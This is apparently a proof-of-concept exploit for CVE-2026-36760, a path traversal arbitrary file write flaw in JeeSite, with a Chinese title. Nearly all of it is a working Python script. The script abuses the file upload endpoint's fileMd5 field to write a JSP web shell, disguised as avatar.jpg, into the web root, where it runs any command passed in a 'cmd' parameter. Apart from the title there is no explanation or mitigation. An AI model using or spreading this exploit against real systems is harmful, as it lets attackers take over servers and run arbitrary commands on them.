CVE-2026-36760 JeeSite路径遍历导致任意文件写入漏洞

import requests def exploit(target_url, session_cookie): # Define the target endpoint url = f"{target_url}/a/file/upload" # Malicious fileMd5 with path traversal to write to web root # Note: The actual file extension might need to match the whitelist (e.g., .jpg) # but the content can be malicious code. traversal_path = "../../webapps/ROOT/shell.jsp" # Headers headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } # Cookies (Authentication required) cookies = { "JSESSIONID": session_cookie } # Payload data files = { 'file': ('avatar.jpg', b'<%@ page import="java.io.*" %><%Runtime.getRuntime().exec(request.getParameter("cmd"));%>', 'image/jpeg') } data = { 'fileMd5': traversal_path, 'chunk': '0', 'chunks': '1' } try: response = requests.post(url, files=files, data=data, headers=headers, cookies=cookies, verify=False, timeout=10) if response.status_code == 200: print(f"[+] Exploit sent successfully. Check {target_url}/shell.jsp") else: print(f"[-] Failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") # Usage example # exploit("http://127.0.0.1:8080", "valid_session_id_here")